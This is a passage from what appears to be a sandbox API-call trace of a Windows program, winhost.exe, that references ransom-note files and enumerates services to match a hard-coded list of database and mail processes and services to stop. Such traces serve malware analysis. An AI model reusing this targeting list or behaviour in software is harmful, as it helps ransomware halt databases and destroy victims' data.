Flags=0x0, Ptr=0x4f5b90, Size=0x40) returned 0x4f6d10 [0056.948] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0056.948] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x54ffa0, Size=0x20) returned 0x4f5b90 [0056.948] lstrlenW (lpString="Info.hta") returned 8 [0056.950] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x54fff0, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\winhost.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\winhost.exe")) returned 0x31 [0057.623] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x54fff0 | out: hHeap=0x4c0000) returned 1 [0057.624] lstrlenW (lpString="winhost.exe") returned 11 [0057.624] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5a50, Size=0x40) returned 0x4f6d10 [0057.624] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560088, Size=0x20) returned 0x4f5a50 [0057.626] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560088, Size=0x20) returned 0x4f5cd0 [0057.626] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5cd0, Size=0x40) returned 0x4f6d58 [0057.626] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6d58, Size=0x80) returned 0x51b5c0 [0057.626] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x5101e8 [0057.626] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0057.626] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5101e8 | out: hHeap=0x4c0000) returned 1 [0057.626] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x54fff0, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0057.626] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5607f8 | out: hHeap=0x4c0000) returned 1 [0057.626] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x54fff0 | out: hHeap=0x4c0000) returned 1 [0057.628] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa300, Size=0x8) returned 0x4fa2f0 [0057.628] lstrlenW (lpString="%windir%;") returned 9 [0057.628] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x4f5a50 | out: hHeap=0x4c0000) returned 1 [0057.628] lstrlenW (lpString="C:\\Windows;") returned 11 [0057.628] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x53d5d0 | out: hHeap=0x4c0000) returned 1 [0057.628] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5600a0, Size=0x20) returned 0x4f5a50 [0057.628] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5a50, Size=0x40) returned 0x4f6d58 [0057.628] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6d58, Size=0x80) returned 0x51b5c0 [0057.628] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x5101e8 [0057.628] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa330, Size=0x8) returned 0x4fa340 [0057.628] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa340, Size=0x10) returned 0x5600e8 [0057.628] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5600e8, Size=0x20) returned 0x4f5a50 [0057.629] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa300, Size=0x8) returned 0x4fa340 [0057.629] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa310, Size=0x8) returned 0x4fa300 [0057.629] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa330, Size=0x8) returned 0x4fa350 [0057.629] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa350, Size=0x10) returned 0x560190 [0057.629] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560190, Size=0x20) returned 0x4f5cd0 [0057.629] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa340, Size=0x10) returned 0x560190 [0057.630] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa300, Size=0x10) returned 0x5601c0 [0057.630] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa340, Size=0x8) returned 0x4fa330 [0057.630] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa360, Size=0x8) returned 0x4fa370 [0057.630] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560190, Size=0x20) returned 0x4f5cf8 [0057.630] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5601c0, Size=0x20) returned 0x4f5d20 [0057.631] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa380, Size=0x8) returned 0x4fa390 [0057.631] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560238, Size=0x20) returned 0x4f5d70 [0057.631] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x53d5d0, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0057.631] lstrlenW (lpString="C:\\") returned 3 [0057.631] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0057.632] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x53d5d0 | out: hHeap=0x4c0000) returned 1 [0057.633] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x514318, Size=0x82) returned 0x50bf70 [0057.633] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x514338, Size=0x100) returned 0x5101e8 [0057.634] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50bf70, Size=0x104) returned 0x5146f0 [0057.634] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5101e8, Size=0x200) returned 0x514800 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514328 | out: hHeap=0x4c0000) returned 1 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x514800 | out: hHeap=0x4c0000) returned 1 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5602e0 | out: hHeap=0x4c0000) returned 1 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b7e0 | out: hHeap=0x4c0000) returned 1 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x560298 | out: hHeap=0x4c0000) returned 1 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x51b758 | out: hHeap=0x4c0000) returned 1 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5602c8 | out: hHeap=0x4c0000) returned 1 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5146f0 | out: hHeap=0x4c0000) returned 1 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5602b0 | out: hHeap=0x4c0000) returned 1 [0057.635] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x54e1f0 | out: hHeap=0x4c0000) returned 1 [0057.636] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5602f8 | out: hHeap=0x4c0000) returned 1 [0057.636] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x54e280 | out: hHeap=0x4c0000) returned 1 [0057.636] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x560310 | out: hHeap=0x4c0000) returned 1 [0057.636] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x560310, Size=0x20) returned 0x514708 [0057.636] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x514708, Size=0x40) returned 0x4f6d58 [0057.642] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4f7c30*=0x11c, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x9a0 Thread: id = 4 os_tid = 0xba0 [0055.261] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x50e158 [0055.261] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50e158, Size=0x20) returned 0x4f5988 [0055.261] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5988, Size=0x40) returned 0x4f6b18 [0055.261] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6b18, Size=0x80) returned 0x51b5c0 [0055.261] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x50bc58 [0055.261] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x50e158 [0055.261] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50e158, Size=0x20) returned 0x4f5988 [0055.262] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5988, Size=0x40) returned 0x4f6b18 [0055.262] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6b18, Size=0x80) returned 0x51b5c0 [0055.262] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x5101e8 [0055.262] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50e158 [0055.262] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4fa140 [0055.262] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x50e128 [0055.262] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa140, Size=0x8) returned 0x4fa170 [0055.262] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x14) returned 0x4f6008 [0055.262] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa170, Size=0x10) returned 0x50e140 [0055.262] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x18) returned 0x4f6028 [0055.262] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1a) returned 0x4f5988 [0055.262] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50e140, Size=0x20) returned 0x4f59b0 [0055.262] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1c) returned 0x4f59d8 [0055.263] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x16) returned 0x4f6048 [0055.263] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x1a) returned 0x4f5a00 [0055.263] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50e140 [0055.263] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4fa170 [0055.263] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x40) returned 0x4f6b18 [0055.263] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa170, Size=0x8) returned 0x4fa140 [0055.263] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x3c) returned 0x4f6b60 [0055.263] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa140, Size=0x10) returned 0x50e110 [0055.263] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x14) returned 0x4f6068 [0055.263] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x18) returned 0x4f6088 [0055.263] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50e110, Size=0x20) returned 0x4f5a28 [0055.263] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x24) returned 0x4fa490 [0055.263] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0055.263] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x50bc58 | out: hHeap=0x4c0000) returned 1 [0055.264] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0055.264] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x5101e8 | out: hHeap=0x4c0000) returned 1 [0055.264] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4f5ac8 [0055.339] EnumServicesStatusExW (in: hSCManager=0x4f5ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0055.342] GetLastError () returned 0xea [0055.343] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x134c) returned 0x5147d0 [0055.343] EnumServicesStatusExW (in: hSCManager=0x4f5ac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5147d0, cbBufSize=0x134c, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5147d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0055.349] CloseServiceHandle (hSCObject=0x4f5ac8) returned 1 [0055.480] lstrlenW (lpString="Appinfo") returned 7 [0055.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0055.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0055.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0055.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0055.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0055.481] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0055.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0055.481] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0055.481] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0055.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0055.481] lstrlenW (lpString="AudioSrv") returned 8 [0055.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0055.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0055.481] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0055.482] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0055.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0055.482] lstrlenW (lpString="BFE") returned 3 [0055.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0055.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0055.482] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0055.482] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0055.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0055.482] lstrlenW (lpString="CryptSvc") returned 8 [0055.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0055.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0055.483] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0055.483] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0055.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0055.483] lstrlenW (lpString="CscService") returned 10 [0055.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0055.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0055.483] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0055.483] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0055.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0055.484] lstrlenW (lpString="DcomLaunch") returned 10 [0055.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0055.484] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0055.484] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0055.484] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0055.484] lstrlenW (lpString="Dhcp") returned 4 [0055.484] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0055.484] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0055.484] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0055.484] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0055.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0055.485] lstrlenW (lpString="Dnscache") returned 8 [0055.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0055.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0055.485] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0055.485] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0055.485] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0055.485] lstrlenW (lpString="DPS") returned 3 [0055.485] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0055.485] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0055.486] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0055.486] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0055.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0055.486] lstrlenW (lpString="eventlog") returned 8 [0055.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0055.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0055.486] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0055.486] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0055.486] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0055.486] lstrlenW (lpString="EventSystem") returned 11 [0055.486] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0055.486] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0055.487] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0055.487] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0055.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0055.487] lstrlenW (lpString="FontCache") returned 9 [0055.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0055.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0055.487] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0055.487] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0055.487] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0055.487] lstrlenW (lpString="gpsvc") returned 5 [0055.487] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0055.487] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0055.488] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0055.488] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0055.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0055.488] lstrlenW (lpString="iphlpsvc") returned 8 [0055.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0055.488] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0055.488] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0055.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0055.488] lstrlenW (lpString="LanmanServer") returned 12 [0055.488] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0055.488] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0055.488] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0055.488] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0055.488] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0055.489] lstrlenW (lpString="LanmanWorkstation") returned 17 [0055.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0055.489] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0055.489] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0055.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0055.489] lstrlenW (lpString="lmhosts") returned 7 [0055.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0055.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0055.489] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0055.489] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0055.489] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0055.489] lstrlenW (lpString="MMCSS") returned 5 [0055.489] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0055.489] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0055.490] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0055.490] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0055.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0055.490] lstrlenW (lpString="MpsSvc") returned 6 [0055.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0055.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0055.490] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0055.490] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0055.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0055.490] lstrlenW (lpString="Netman") returned 6 [0055.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0055.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0055.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0055.491] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0055.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0055.491] lstrlenW (lpString="netprofm") returned 8 [0055.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0055.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0055.491] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0055.491] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0055.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0055.491] lstrlenW (lpString="NlaSvc") returned 6 [0055.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0055.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0055.491] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0055.491] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0055.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0055.491] lstrlenW (lpString="nsi") returned 3 [0055.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0055.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0055.492] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0055.492] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0055.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0055.492] lstrlenW (lpString="PcaSvc") returned 6 [0055.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0055.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0055.493] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0055.493] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0055.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0055.493] lstrlenW (lpString="PlugPlay") returned 8 [0055.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0055.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0055.493] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0055.493] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0055.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0055.493] lstrlenW (lpString="Power") returned 5 [0055.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0055.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0055.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0055.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0055.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0055.493] lstrlenW (lpString="ProfSvc") returned 7 [0055.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0055.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0055.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0055.494] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0055.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0055.494] lstrlenW (lpString="RpcEptMapper") returned 12 [0055.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0055.494] lstrcmpiW (lpString1="sqlwriter", 